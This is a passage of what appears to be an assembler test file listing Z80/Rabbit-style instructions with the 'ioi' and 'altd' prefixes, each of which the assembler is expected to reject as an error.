ioi altd ld hl, (65535) ; Error
ioi altd ld hl, (hl) ; Error
ioi altd ld hl, (hl+127) ; Error
ioi altd ld hl, (hl-128) ; Error
ioi altd ld hl, (ix) ; Error
ioi altd ld hl, (ix+127) ; Error
ioi altd ld hl, (ix-128) ; Error
ioi altd ld hl, (iy) ; Error
ioi altd ld hl, (iy+127) ; Error
ioi altd ld hl, (iy-128) ; Error
ioi altd ld l, (hl) ; Error
ioi altd ld l, (ix) ; Error
ioi altd ld l, (ix+127) ; Error
ioi altd ld l, (ix-128) ; Error
ioi altd ld l, (iy) ; Error
ioi altd ld l, (iy+127) ; Error
ioi altd ld l, (iy-128) ; Error
ioi altd or (hl) ; Error
ioi altd or (ix) ; Error
ioi altd or (ix+127) ; Error
ioi altd or (ix-128) ; Error
ioi altd or (iy) ; Error
ioi altd or (iy+127) ; Error
ioi altd or (iy-128) ; Error
ioi altd or a, (hl) ; Error
ioi altd or a, (ix) ; Error
ioi altd or a, (ix+127) ; Error
ioi altd or a, (ix-128) ; Error
ioi altd or a, (iy) ; Error
ioi altd or a, (iy+127) ; Error
ioi altd or a, (iy-128) ; Error
ioi altd rl (hl) ; Error
ioi altd rl (ix) ; Error
ioi altd rl (ix+127) ; Error
ioi altd rl (ix-128) ; Error
ioi altd rl (iy) ; Error
ioi altd rl (iy+127) ; Error
ioi altd rl (iy-128) ; Error
ioi altd rlc (hl) ; Error
ioi altd rlc (ix) ; Error
ioi altd rlc (ix+127) ; Error
ioi altd rlc (ix-128) ; Error
ioi altd rlc (iy) ; Error
ioi altd rlc (iy+127) ; Error
ioi altd rlc (iy-128) ; Error
ioi altd rr (hl) ; Error
ioi altd rr (ix) ; Error
ioi altd rr (ix+127) ; Error
ioi altd rr (ix-128) ; Error
ioi altd rr (iy) ; Error
ioi altd rr (iy+127) ; Error
ioi altd rr (iy-128) ; Error
ioi altd rrc (hl) ; Error
ioi altd rrc (ix) ; Error
ioi altd rrc (ix+127) ; Error
ioi altd rrc (ix-128) ; Error
ioi altd rrc (iy) ; Error
ioi altd rrc (iy+127) ; Error
ioi altd rrc (iy-128) ; Error
ioi altd sbc (hl) ; Error
ioi altd sbc (ix) ; Error
ioi altd sbc (ix+127) ; Error
ioi altd sbc (ix-128) ; Error
ioi altd sbc (iy) ; Error
ioi altd sbc (iy+127) ; Error
ioi altd sbc (iy-128) ; Error
ioi altd sbc a, (hl) ; Error
ioi altd sbc a, (ix) ; Error
ioi altd sbc a, (ix+127) ; Error
ioi altd sbc a, (ix-128) ; Error
ioi altd sbc a, (iy) ; Error
ioi altd sbc a, (iy+127) ; Error
ioi altd sbc a, (iy-128) ; Error
ioi altd sla (hl) ; Error
ioi altd sla (ix) ; Error
ioi altd sla (ix+127) ; Error
ioi altd sla (ix-128) ; Error
ioi altd sla (iy) ; Error
ioi altd sla (iy+127) ; Error
ioi altd sla (iy-128) ; Error
ioi altd sra (hl) ; Error
ioi altd sra (ix) ; Error
ioi altd sra (ix+127) ; Error
ioi altd sra (ix-128) ; Error
ioi altd sra (iy) ; Error
ioi altd sra (iy+127) ; Error
ioi altd sra (iy-128) ; Error
ioi altd srl (hl) ; Error
ioi altd srl (ix) ; Error
ioi altd srl (ix+127) ; Error
ioi altd srl (ix-128) ; Error
ioi altd srl (iy) ; Error
ioi altd srl (iy+127) ; Error
ioi altd srl (iy-128) ; Error
ioi altd sub (hl) ; Error
ioi altd sub (ix) ; Error
ioi altd sub (ix+127) ; Error
ioi altd sub (ix-128) ; Error
ioi altd sub (iy) ; Error
ioi altd sub (iy+127) ; Error
ioi altd sub (iy-128) ; Error
ioi altd sub a, (hl) ; Error
ioi altd sub a, (ix) ; Error
ioi altd sub a, (ix+127) ; Error
ioi altd sub a, (ix-128) ; Error
ioi altd sub a, (iy) ; Error
ioi altd sub a, (iy+127) ; Error
ioi altd sub a, (iy-128) ; Error
ioi altd xor (hl) ; Error
ioi altd xor (ix) ; Error
ioi altd xor (ix+127) ; Error
ioi altd xor (ix-128) ; Error
ioi altd xor (iy) ; Error
ioi altd xor (iy+127) ; Error
ioi altd xor (iy-128) ; Error
ioi altd xor a, (hl) ; Error
ioi altd xor a, (ix) ; Error
ioi altd xor a, (ix+127) ; Error
ioi altd xor a, (ix-128) ; Error
ioi altd xor a, (iy) ; Error
ioi altd xor a, (iy+127) ; Error
ioi altd xor a, (iy-128) ; Error
ioi and (hl) ; Error
ioi and (ix) ; Error
ioi and (ix+127) ; Error
ioi and (ix-128) ; Error
ioi and (iy) ; Error
ioi and (iy+127) ; Error
ioi and (iy-128) ; Error
ioi and a', (hl) ; Error
ioi and a', (ix) ; Error
ioi and a', (ix+127) ; Error
ioi and a', (ix-128) ; Error
ioi and a', (iy) ; Error
ioi and a', (iy+127) ; Error
ioi and a', (iy-128) ; Error
ioi and a, (hl) ; Error
ioi and a, (ix) ; Error
ioi and a, (ix+127) ; Error
ioi and a, (ix-128) ; Error
ioi and a, (iy) ; Error
ioi and a, (iy+127) ; Error
ioi and a, (iy-128) ; Error
ioi bit -1, (hl) ; Error
ioi bit -1, (hl) ; Error
ioi bit -1, (ix) ; Error
ioi bit -1, (ix) ; Error
ioi bit -1, (ix+127) ; Error
ioi bit -1, (ix+127) ; Error
ioi bit -1, (ix-128) ; Error
ioi bit -1, (ix-128) ; Error
ioi bit -1, (iy) ; Error
ioi bit -1, (iy) ; Error
ioi bit -1, (iy+127) ; Error
ioi bit -1, (iy+127) ; Error
ioi bit -1, (iy-128) ; Error
ioi bit -1, (iy-128) ; Error
ioi bit 0, (hl) ; Error
ioi bit 0, (ix) ; Error
ioi bit 0, (ix+127) ; Error
ioi bit 0, (ix-128) ; Error
ioi bit 0, (iy) ; Error
ioi bit 0, (iy+127) ; Error
ioi bit 0, (iy-128) ; Error
ioi bit 1, (hl) ; Error
ioi bit 1, (ix) ; Error
ioi bit 1, (ix+127) ; Error
ioi bit 1, (ix-128) ; Error
ioi bit 1, (iy) ; Error
ioi bit 1, (iy+127) ; Error
ioi bit 1, (iy-128) ; Error
ioi bit 2, (hl) ; Error
ioi bit 2, (ix) ; Error
ioi bit 2, (ix+127) ; Error
ioi bit 2, (ix-128) ; Error
ioi bit 2, (iy) ; Error
ioi bit 2, (iy+127) ; Error
ioi bit 2, (iy-128) ; Error
ioi bit 3, (hl) ; Error
ioi bit 3, (ix) ; Error
ioi bit 3, (ix+127) ; Error
ioi bit 3, (ix-128) ; Error
ioi bit 3, (iy) ; Error
ioi bit 3, (iy+127) ; Error
ioi bit 3, (iy-128) ; Error
ioi bit 4, (hl) ; Error
ioi bit 4, (ix) ; Error
ioi bit 4, (ix+127) ; Error
ioi bit 4, (ix-128) ; Error
ioi bit 4, (iy) ; Error
ioi bit 4, (iy+127) ; Error
ioi bit 4, (iy-128) ; Error
ioi bit 5, (hl) ; Error
ioi bit 5, (ix) ; Error
ioi bit 5, (ix+127) ; Error
ioi bit 5, (ix-128) ; Error
ioi bit 5, (iy) ; Error
ioi bit 5, (iy+127) ; Error
ioi bit 5, (iy-128) ; Error
ioi bit 6, (hl) ; Error
ioi bit 6, (ix) ; Error
ioi bit 6, (ix+127) ; Error
ioi bit 6, (ix-128) ; Error
ioi bit 6, (iy) ; Error
ioi bit 6, (iy+127) ; Error
ioi bit 6, (iy-128) ; Error
ioi bit 7, (hl) ; Error
ioi bit 7, (ix) ; Error
ioi bit 7, (ix+127) ; Error
ioi bit 7, (ix-128) ; Error
ioi bit 7, (iy) ; Error
ioi bit 7, (iy+127) ; Error
ioi bit 7, (iy-128) ; Error
ioi bit 8, (hl) ; Error
ioi bit 8, (hl) ; Error
ioi bit 8, (ix) ; Error
ioi bit 8, (ix) ; Error
ioi bit 8, (ix+127) ; Error
ioi bit 8, (ix+127) ; Error
ioi bit 8, (ix-128) ; Error
ioi bit 8, (ix-128) ; Error
ioi bit 8, (iy) ; Error
ioi bit 8, (iy) ; Error
ioi bit 8, (iy+127) ; Error
ioi bit 8, (iy+127) ; Error
ioi bit 8, (iy-128) ; Error
ioi bit 8, (iy-128) ; Error
ioi bit.a -1, (hl) ; Error
ioi bit.a -1, (hl) ; Error
ioi bit.a -1, (ix) ; Error
ioi bit.a -1, (ix) ; Error
ioi bit.a -1, (ix+127) ; Error
ioi bit.a -1, (ix+127) ; Error
ioi bit.a -1, (ix-128) ; Error
ioi bit.a -1, (ix-128) ; Error
ioi bit.a -1, (iy) ; Error
ioi bit.a -1, (iy) ; Error
ioi bit.a -1, (iy+127) ; Error
ioi bit.a -1, (iy+127) ; Error
ioi bit.a -1, (iy-128) ; Error
ioi bit.a -1, (iy-128) ; Error
ioi bit.a 0, (hl) ; Error
ioi bit.a 0, (ix) ; Error
ioi bit.a 0, (ix+127) ; Error
ioi bit.a 0, (ix-128) ; Error
ioi bit.a 0, (iy) ; Error
ioi bit.a 0, (iy+127) ; Error
ioi bit.a 0, (iy-128) ; Error
ioi bit.a 1, (hl) ; Error
ioi bit.a 1, (ix) ; Error
ioi bit.a 1, (ix+127) ; Error
ioi bit.a 1, (ix-128) ; Error
ioi bit.a 1, (iy) ; Error
ioi bit.a 1, (iy+127) ; Error
ioi bit.a 1, (iy-128) ; Error
ioi bit.a 2, (hl) ; Error
ioi bit.a 2, (ix) ; Error
ioi bit.a 2, (ix+127) ; Error
ioi bit.a 2, (ix-128) ; Error
ioi bit.a 2, (iy) ; Error
ioi bit.a 2, (iy+127) ; Error
ioi bit.a 2, (iy-128) ; Error
ioi bit.a 3, (hl) ; Error
ioi bit.a 3, (ix) ; Error
ioi bit.a 3, (ix+127) ; Error
ioi bit.a 3, (ix-128) ; Error
ioi bit.a 3, (iy) ; Error
ioi bit.a 3, (iy+127) ; Error
ioi bit.a 3, (iy-128) ; Error
ioi bit.a 4, (hl) ; Error
ioi bit.a 4, (ix) ; Error
ioi bit.a 4, (ix+127) ; Error
ioi bit.a 4, (ix-128) ; Error
ioi bit.a 4, (iy) ; Error
ioi bit.a 4, (iy+127) ; Error
ioi bit.a 4, (iy-128) ; Error
ioi bit.a 5, (hl) ; Error
ioi bit.a 5, (ix) ; Error
ioi bit.a 5, (ix+127) ; Error
ioi bit.a 5, (ix-128) ; Error
ioi bit.a 5, (iy) ; Error
ioi bit.a 5, (iy+127) ; Error
ioi bit.a 5, (iy-128) ; Error
ioi bit.a 6, (hl) ; Error
ioi bit.a 6, (ix) ; Error
ioi bit.a 6, (ix+127) ; Error
ioi bit.a 6, (ix-128) ; Error
ioi bit.a 6, (iy) ; Error
ioi bit.a 6, (iy+127) ; Error
ioi bit.a 6, (iy-128) ; Error
ioi bit.a 7, (hl) ; Error
ioi bit.a 7, (ix) ; Error
ioi bit.a 7, (ix+127) ; Error
ioi bit.a 7, (ix-128) ; Error
ioi bit.a 7, (iy) ; Error
ioi bit.a 7, (iy+127) ; Error
ioi bit.a 7, (iy-128) ; Error
ioi bit.a 8, (hl) ; Error
ioi bit.a 8, (hl) ; Error
ioi bit.a 8, (ix) ; Error
ioi bit.a 8, (ix) ; Error
ioi bit.a 8, (ix+127) ; Error
ioi bit.a 8, (ix+127) ; Error
ioi bit.a 8, (ix-128) ; Error
ioi bit.a 8, (ix-128) ; Error
ioi bit.a 8, (iy) ; Error
ioi bit.a 8, (iy) ; Error
ioi bit.a 8, (iy+127) ; Error
ioi bit.a 8, (iy+127) ; Error
ioi bit.a 8, (iy-128) ; Error
ioi bit.a 8, (iy-128) ; Error
ioi cmp (hl) ; Error
ioi cmp (ix) ; Error
ioi cmp (ix+127) ; Error
ioi cmp (ix-128) ; Error
ioi cmp (iy) ; Error
ioi cmp (iy+127) ; Error
ioi cmp (iy-128) ; Error
ioi cmp a, (hl) ; Error
ioi cmp a, (ix) ; Error
ioi cmp a, (ix+127) ; Error
ioi cmp a, (ix-128) ; Error
ioi cmp a, (iy) ; Error
ioi cmp a, (iy+127) ; Error
ioi cmp a, (iy-128) ; Error
ioi cp (hl) ; Error
ioi cp (ix) ; Error
ioi cp (ix+127) ; Error
ioi cp (ix-128) ; Error
ioi cp (iy) ; Error
ioi cp (iy+127) ; Error
ioi cp (iy-128) ; Error
ioi cp a, (hl) ; Error
ioi cp a, (ix) ; Error
ioi cp a, (ix+127) ; Error
ioi cp a, (ix-128) ; Error
ioi cp a, (iy) ; Error
ioi cp a, (iy+127) ; Error
ioi cp a, (iy-128) ; Error
ioi dec (hl) ; Error
ioi dec (ix) ; Error
ioi dec (ix+127) ; Error
ioi dec (ix-128) ; Error
ioi dec (iy) ; Error
ioi dec (iy+127) ; Error
ioi dec (iy-128) ; Error
ioi inc (hl) ; Error
ioi inc (ix) ; Error
ioi inc (ix+127) ; Error
ioi inc (ix-128) ; Error
ioi inc (iy) ; Error
ioi inc (iy+127) ; Error
ioi inc (iy-128) ; Error
ioi ld (-32768), a ; Error
ioi ld (-32768), bc ; Error
ioi ld (-32768), de ; Error
ioi ld (-32768), hl ; Error
ioi ld (-32768), ix ; Error
ioi ld (-32768), iy ; Error
ioi ld (-32768), sp ; Error
ioi ld (32767), a ; Error
ioi ld (32767), bc ; Error
ioi ld (32767), de ; Error
ioi ld (32767), hl ; Error
ioi ld (32767), ix ; Error
ioi ld (32767), iy ; Error
ioi ld (32767), sp ; Error
ioi ld (65535), a ; Error
ioi ld (65535), bc ; Error
ioi ld (65535), de ; Error
ioi ld (65535), hl ; Error
ioi ld (65535), ix ; Error
ioi ld (65535), iy ; Error
ioi ld (65535), sp ; Error
ioi ld (bc), a ; Error
ioi ld (bc+), a ; Error
ioi ld (bc-), a ; Error
ioi ld (de), a ; Error
ioi ld (de+), a ; Error
ioi ld (de-), a ; Error
ioi ld (hl), -128 ; Error
ioi ld (hl), 127 ; Error
ioi ld (hl), 255 ; Error
ioi ld (hl), a ; Error
ioi ld (hl), b ; Error
ioi ld (hl), c ; Error
ioi ld (hl), d ; Error
ioi ld (hl), e ; Error
ioi ld (hl), h ; Error
ioi ld (hl), hl ; Error
ioi ld (hl), l ; Error
ioi ld (hl+), a ; Error
ioi ld (hl+127), hl ; Error
ioi ld (hl-), a ; Error
ioi ld (hl-128), hl ; Error
ioi ld (hld), a ; Error
ioi ld (hli), a ; Error
ioi ld (ix), -128 ; Error
ioi ld (ix), 127 ; Error
ioi ld (ix), 255 ; Error
ioi ld (ix), a ; Error
ioi ld (ix), b ; Error
ioi ld (ix), c ; Error
ioi ld (ix), d ; Error
ioi ld (ix), e ; Error
ioi ld (ix), h ; Error
ioi ld (ix), hl ; Error
ioi ld (ix), l ; Error
ioi ld (ix+127), -128 ; Error
ioi ld (ix+127), 127 ; Error
ioi ld (ix+127), 255 ; Error
ioi ld (ix+127), a ; Error
ioi ld (ix+127), b ; Error
ioi ld (ix+127), c ; Error
ioi ld (ix+127), d ; Error
ioi ld (ix+127), e ; Error
ioi ld (ix+127), h ; Error
ioi ld (ix+127), hl ; Error
ioi ld (ix+127), l ; Error
ioi ld (ix-128), -128 ; Error
ioi ld (ix-128), 127 ; Error
ioi ld (ix-128), 255 ; Error
ioi ld (ix-128), a ; Error
ioi ld (ix-128), b ; Error
ioi ld (ix-128), c ; Error
ioi ld (ix-128), d ; Error
ioi ld (ix-128), e ; Error
ioi ld (ix-128), h ; Error
ioi ld (ix-128), hl ; Error
ioi ld (ix-128), l ; Error
ioi ld (iy), -128 ; Error
ioi ld (iy), 127 ; Error
ioi ld (iy), 255 ; Error
ioi ld (iy), a ; Error
ioi ld (iy), b ; Error
ioi ld (iy), c ; Error
ioi ld (iy), d ; Error
ioi ld (iy), e ; Error
ioi ld (iy), h ; Error
ioi ld (iy), hl ; Error
ioi ld (iy), l ; Error
ioi ld (iy+127), -128 ; Error
ioi ld (iy+127), 127 ; Error
ioi ld (iy+127), 255 ; Error
ioi ld (iy+127), a ; Error
ioi ld (iy+127), b ; Error
ioi ld (iy+127), c ; Error
ioi ld (iy+127), d ; Error
ioi ld (iy+127), e ; Error
ioi ld (iy+127), h ; Error
ioi ld (iy+127), hl ; Error
ioi ld (iy+127), l ; Error
ioi ld (iy-128), -128 ; Error
ioi ld (iy-128), 127 ; Error
ioi ld (iy-128), 255 ; Error
ioi ld (iy-128), a ; Error
ioi ld (iy-128), b ; Error
ioi ld (iy-128), c ; Error
ioi ld (iy-128), d ; Error
ioi ld (iy-128), e ; Error
ioi ld (iy-128), h ; Error
ioi ld (iy-128), hl ; Error
ioi ld (iy-128), l ; Error
ioi ld a', (-32768) ; Error
ioi ld a', (32767) ; Error
ioi ld a', (65535) ; Error
ioi ld a', (bc) ; Error
ioi ld a', (bc+) ; Error
ioi ld a', (bc-) ; Error
ioi ld a', (de) ; Error
ioi ld a', (de+) ; Error
ioi ld a', (de-) ; Error
ioi ld a', (hl) ; Error
ioi ld a', (hl+) ; Error
ioi ld a', (hl-) ; Error
ioi ld a', (hld) ; Error
ioi ld a', (hli) ; Error
ioi ld a', (ix) ; Error
ioi ld a', (ix+127) ; Error
ioi ld a', (ix-128) ; Error
ioi ld a', (iy) ; Error
ioi ld a', (iy+127) ; Error
ioi ld a', (iy-128) ; Error
ioi ld a, (-32768) ; Error
ioi ld a, (32767) ; Error
ioi ld a, (65535) ; Error
ioi ld a, (bc) ; Error
ioi ld a, (bc+) ; Error
ioi ld a, (bc-) ; Error
ioi ld a, (de) ; Error
ioi ld a, (de+) ; Error
ioi ld a, (de-) ; Error
ioi ld a, (hl) ; Error
ioi ld a, (hl+) ; Error
ioi ld a, (hl-) ; Error
ioi ld a, (hld) ; Error
ioi ld a, (hli) ; Error
ioi ld a, (ix) ; Error
ioi ld a, (ix+127) ; Error
ioi ld a, (ix-128) ; Error
ioi ld a, (iy) ; Error
ioi ld a, (iy+127) ; Error
ioi ld a, (iy-128) ; Error
ioi ld b', (hl) ; Error
ioi ld b', (ix) ; Error
ioi ld b', (ix+127) ; Error
ioi ld b', (ix-128) ; Error
ioi ld b', (iy) ; Error
ioi ld b', (iy+127) ; Error
ioi ld b', (iy-128) ; Error
ioi ld b, (hl) ; Error
ioi ld b, (ix) ; Error
ioi ld b, (ix+127) ; Error
ioi ld b, (ix-128) ; Error
ioi ld b, (iy) ; Error
ioi ld b, (iy+127) ; Error
ioi ld b, (iy-128) ; Error
ioi ld bc', (-32768) ; Error
ioi ld bc', (32767) ; Error
ioi ld bc', (65535) ; Error
ioi ld bc, (-32768) ; Error
ioi ld bc, (32767) ; Error
ioi ld bc, (65535) ; Error
ioi ld c', (hl) ; Error
ioi ld c', (ix) ; Error
ioi ld c', (ix+127) ; Error
ioi ld c', (ix-128) ; Error
ioi ld c', (iy) ; Error
ioi ld c', (iy+127) ; Error
ioi ld c', (iy-128) ; Error
ioi ld c, (hl) ; Error
ioi ld c, (ix) ; Error
ioi ld c, (ix+127) ; Error
ioi ld c, (ix-128) ; Error
ioi ld c, (iy) ; Error
ioi ld c, (iy+127) ; Error
ioi ld c, (iy-128) ; Error
ioi ld d', (hl) ; Error
ioi ld d', (ix) ; Error
ioi ld d', (ix+127) ; Error
ioi ld d', (ix-128) ; Error
ioi ld d', (iy) ; Error
ioi ld d', (iy+127) ; Error
ioi ld d', (iy-128) ; Error
ioi ld d, (hl) ; Error
ioi ld d, (ix) ; Error
ioi ld d, (ix+127) ; Error
ioi ld d, (ix-128) ; Error
ioi ld d, (iy) ; Error
ioi ld d, (iy+127) ; Error
ioi ld d, (iy-128) ; Error
ioi ld de', (-32768) ; Error
ioi ld de', (32767) ; Error
ioi ld de', (65535) ; Error
ioi ld de, (-32768) ; Error
ioi ld de, (32767) ; Error
ioi ld de, (65535) ; Error
ioi ld e', (hl) ; Error
ioi ld e', (ix) ; Error
ioi ld e', (ix+127) ; Error
ioi ld e', (ix-128) ; Error
ioi ld e', (iy) ; Error
ioi ld e', (iy+127) ; Error
ioi ld e', (iy-128) ; Error
ioi ld e, (hl) ; Error
ioi ld e, (ix) ; Error
ioi ld e, (ix+127) ; Error
ioi ld e, (ix-128) ; Error
ioi ld e, (iy) ; Error
ioi ld e, (iy+127) ; Error
ioi ld e, (iy-128) ; Error
ioi ld h', (hl) ; Error
ioi ld h', (ix) ; Error
ioi ld h', (ix+127) ; Error
ioi ld h', (ix-128) ; Error
ioi ld h', (iy) ; Error
ioi ld h', (iy+127) ; Error
ioi ld h', (iy-128) ; Error
ioi ld h, (hl) ; Error
ioi ld h, (ix) ; Error
ioi ld h, (ix+127) ; Error
ioi ld h, (ix-128) ; Error
ioi ld h, (iy) ; Error
ioi ld h, (iy+127) ; Error
ioi ld h, (iy-128) ; Error
ioi ld hl', (-32768) ; Error
ioi ld hl', (32767) ; Error
ioi ld hl', (65535) ; Error
ioi ld hl', (hl) ; Error
ioi ld hl', (hl+127) ; Error
ioi ld hl', (hl-128) ; Error
ioi ld hl', (ix) ; Error
ioi ld hl', (ix+127) ; Error
ioi ld hl', (ix-128) ; Error
ioi ld hl', (iy) ; Error
ioi ld hl', (iy+127) ; Error
ioi ld hl', (iy-128) ; Error
ioi ld hl, (-32768) ; Error
ioi ld hl, (32767) ; Error
ioi ld hl, (65535) ; Error
ioi ld hl, (hl) ; Error
ioi ld hl, (hl+127) ; Error
ioi ld hl, (hl-128) ; Error
ioi ld hl, (ix) ; Error
ioi ld hl, (ix+127) ; Error
ioi ld hl, (ix-128) ; Error
ioi ld hl, (iy) ; Error
ioi ld hl, (iy+127) ; Error
ioi ld hl, (iy-128) ; Error
ioi ld ix, (-32768) ; Error
ioi ld ix, (32767) ; Error
ioi ld ix, (65535) ; Error
ioi ld iy, (-32768) ; Error
ioi ld iy, (32767) ; Error
ioi ld iy, (65535) ; Error
ioi ld l', (hl) ; Error
ioi ld l', (ix) ; Error
ioi ld l', (ix+127) ; Error
ioi ld l', (ix-128) ; Error
ioi ld l', (iy) ; Error
ioi ld l', (iy+127) ; Error
ioi ld l', (iy-128) ; Error
ioi ld l, (hl) ; Error
ioi ld l, (ix) ; Error
ioi ld l, (ix+127) ; Error
ioi ld l, (ix-128) ; Error
ioi ld l, (iy) ; Error
ioi ld l, (iy+127) ; Error
ioi ld l, (iy-128) ; Error
ioi ld sp, (-32768) ; Error
ioi ld sp, (32767) ; Error
ioi ld sp, (65535) ; Error
ioi ldd ; Error
ioi ldd (bc), a ; Error
ioi ldd (de), a ; Error
ioi ldd (hl), a ; Error
ioi ldd a, (bc) ; Error
ioi ldd a, (de) ; Error
ioi ldd a, (hl) ; Error
ioi lddr ; Error
ioi lddsr ; Error
ioi ldi ; Error
ioi ldi (bc), a ; Error
ioi ldi (de), a ; Error
ioi ldi (hl), a ; Error
ioi ldi a, (bc) ; Error
ioi ldi a, (de) ; Error
ioi ldi a, (hl) ; Error
ioi ldir ; Error
ioi ldisr ; Error
ioi lsddr ; Error
ioi lsdr ; Error
ioi lsidr ; Error
ioi lsir ; Error
ioi or (hl) ; Error
ioi or (ix) ; Error
ioi or (ix+127) ; Error
ioi or (ix-128) ; Error
ioi or (iy) ; Error
ioi or (iy+127) ; Error
ioi or (iy-128) ; Error
ioi or a', (hl) ; Error
ioi or a', (ix) ; Error
ioi or a', (ix+127) ; Error
ioi or a', (ix-128) ; Error
ioi or a', (iy) ; Error
ioi or a', (iy+127) ; Error
ioi or a', (iy-128) ; Error
ioi or a, (hl) ; Error
ioi or a, (ix) ; Error
ioi or a, (ix+127) ; Error
ioi or a, (ix-128) ; Error
ioi or a, (iy) ; Error
ioi or a, (iy+127) ; Error
ioi or a, (iy-128) ; Error
ioi res -1, (hl) ; Error
ioi res -1, (hl) ; Error
ioi res -1, (ix) ; Error
ioi res -1, (ix) ; Error
ioi res -1, (ix+127) ; Error
ioi res -1, (ix+127) ; Error
ioi res -1, (ix-128) ; Error
ioi res -1, (ix-128) ; Error
ioi res -1, (iy) ; Error
ioi res -1, (iy) ; Error
ioi res -1, (iy+127) ; Error
ioi res -1, (iy+127) ; Error
ioi res -1, (iy-128) ; Error
ioi res -1, (iy-128) ; Error
ioi res 0, (hl) ; Error
ioi res 0, (ix) ; Error
ioi res 0, (ix+127) ; Error
ioi res 0, (ix-128) ; Error
ioi res 0, (iy) ; Error
ioi res 0, (iy+127) ; Error
ioi res 0, (iy-128) ; Error
ioi res 1, (hl) ; Error
ioi res 1, (ix) ; Error
ioi res 1, (ix+127) ; Error
ioi res 1, (ix-128) ; Error
ioi res 1, (iy) ; Error
ioi res 1, (iy+127) ; Error
ioi res 1, (iy-128) ; Error
ioi res 2, (hl) ; Error
ioi res 2, (ix) ; Error
ioi res 2, (ix+127) ; Error
ioi res 2, (ix-128) ; Error
ioi res 2, (iy) ; Error
ioi res 2, (iy+127) ; Error
ioi res 2, (iy-128) ; Error
ioi res 3, (hl) ; Error
ioi res 3, (ix) ; Error
ioi res 3, (ix+127) ; Error
ioi res 3, (ix-128) ; Error
ioi res 3, (iy) ; Error
ioi res 3, (iy+127) ; Error
ioi res 3, (iy-128) ; Error
ioi res 4, (hl) ; Error
ioi res 4, (ix) ; Error
ioi res 4, (ix+127) ; Error
ioi res 4, (ix-128) ; Error
ioi res 4, (iy) ; Error
ioi res 4, (iy+127) ; Error
ioi res 4, (iy-128) ; Error
ioi res 5, (hl) ; Error
ioi res 5, (ix) ; Error
ioi res 5, (ix+127) ; Error
ioi res 5, (ix-128) ; Error
ioi res 5, (iy) ; Error
ioi res 5, (iy+127) ; Error
ioi res 5, (iy-128) ; Error
ioi res 6, (hl) ; Error
ioi res 6, (ix) ; Error
ioi res 6, (ix+127) ; Error
ioi res 6, (ix-128) ; Error
ioi res 6, (iy) ; Error
ioi res 6, (iy+127) ; Error
ioi res 6, (iy-128) ; Error
ioi res 7, (hl) ; Error
ioi res 7, (ix) ; Error
ioi res 7, (ix+127) ; Error
ioi res 7, (ix-128) ; Error
ioi res 7, (iy) ; Error
ioi res 7, (iy+127) ; Error
ioi res 7, (iy-128) ; Error
ioi res 8, (hl) ; Error
ioi res 8, (hl) ; Error
ioi res 8, (ix) ; Error
ioi res 8, (ix) ; Error
ioi res 8, (ix+127) ; Error
ioi res 8, (ix+127) ; Error
ioi res 8, (ix-128) ; Error
ioi res 8, (ix-128) ; Error
ioi res 8, (iy) ; Error
ioi res 8, (iy) ; Error
ioi res 8, (iy+127) ; Error
ioi res 8, (iy+127) ; Error
ioi res 8, (iy-128) ; Error
ioi res 8, (iy-128) ; Error
ioi res.a -1, (hl) ; Error
ioi res.a -1, (hl) ; Error
ioi res.a -1, (ix) ; Error
ioi res.a -1, (ix) ; Error
ioi res.a -1, (ix+127) ; Error
ioi res.a -1, (ix+127) ; Error
ioi res.a -1, (ix-128) ; Error
ioi res.a -1, (ix-128) ; Error
ioi res.a -1, (iy) ; Error
ioi res.a -1, (iy) ; Error
ioi res.a -1, (iy+127) ; Error
ioi res.a -1, (iy+127) ; Error
ioi res.a -1, (iy-128) ; Error
ioi res.a -1, (iy-128) ; Error
ioi res.a 0, (hl) ; Error
ioi res.a 0, (ix) ; Error
ioi res.a 0, (ix+127) ; Error
ioi res.a 0, (ix-128) ; Error
ioi res.a 0, (iy) ; Error
ioi res.a 0, (iy+127) ; Error
ioi res.a 0, (iy-128) ; Error
ioi res.a 1, (hl) ; Error
ioi res.a 1, (ix) ; Error
ioi res.a 1, (ix+127) ; Error
ioi res.a 1, (ix-128) ; Error
ioi res.a 1, (iy) ; Error
ioi res.a 1, (iy+127) ; Error
ioi res.a 1, (iy-128) ; Error
ioi res.a 2, (hl) ; Error
ioi res.a 2, (ix) ; Error
ioi res.a 2, (ix+127) ; Error
ioi res.a 2, (ix-128) ; Error
ioi res.a 2, (iy) ; Error
ioi res.a 2, (iy+127) ; Error
ioi res.a 2, (iy-128) ; Error
ioi res.a 3, (hl) ; Error
ioi res.a 3, (ix) ; Error
ioi res.a 3, (ix+127) ; Error
ioi res.a 3, (ix-128) ; Error
ioi res.a 3, (iy) ; Error
ioi res.a 3, (iy+127) ; Error
ioi res.a 3, (iy-128) ; Error
ioi res.a 4, (hl) ; Error
ioi res.a 4, (ix) ; Error
ioi res.a 4, (ix+127) ; Error
ioi res.a 4, (ix-128) ; Error
ioi res.a 4, (iy) ; Error
ioi res.a 4, (iy+127) ; Error
ioi res.a 4, (iy-128) ; Error
ioi res.a 5, (hl) ; Error
ioi res.a 5, (ix) ; Error
ioi res.a 5, (ix+127) ; Error
ioi res.a 5, (ix-128) ; Error
ioi res.a 5, (iy) ; Error
ioi res.a 5, (iy+127) ; Error
ioi res.a 5, (iy-128) ; Error
ioi res.a 6, (hl) ; Error
ioi res.a 6, (ix) ; Error
ioi res.a 6, (ix+127) ; Error
ioi res.a 6, (ix-128) ; Error
ioi res.a 6, (iy) ; Error
ioi res.a 6, (iy+127) ; Error
ioi res.a 6, (iy-128) ; Error
ioi res.a 7, (hl) ; Error
ioi res.a 7, (ix) ; Error
ioi res.a 7, (ix+127) ; Error
ioi res.a 7, (ix-128) ; Error
ioi res.a 7, (iy) ; Error
ioi res.a 7, (iy+127) ; Error
ioi res.a 7, (iy-128) ; Error
ioi res.a 8, (hl) ; Error
ioi res.a 8, (hl) ; Error
ioi res.a 8, (ix) ; Error
ioi res.a 8, (ix) ; Error
ioi res.a 8, (ix+127) ; Error
ioi res.a 8, (ix+127) ; Error
ioi res.a 8, (ix-128) ; Error
ioi res.a 8, (ix-128) ; Error
ioi res.a 8, (iy) ; Error
ioi res.a 8, (iy) ; Error
ioi res.a 8, (iy+127) ; Error
ioi res.a 8, (iy+127) ; Error
ioi res.a 8, (iy-128) ; Error
ioi res.a 8, (iy-128) ; Error
ioi rl (hl) ; Error
ioi rl (ix) ; Error
ioi rl (ix+127) ; Error
ioi rl (ix-128) ; Error
ioi rl (iy) ; Error
ioi rl (iy+127) ; Error
ioi rl (iy-128) ; Error
ioi rlc (hl) ; Error
ioi rlc (ix) ; Error
ioi rlc (ix+127) ; Error
ioi rlc (ix-128) ; Error
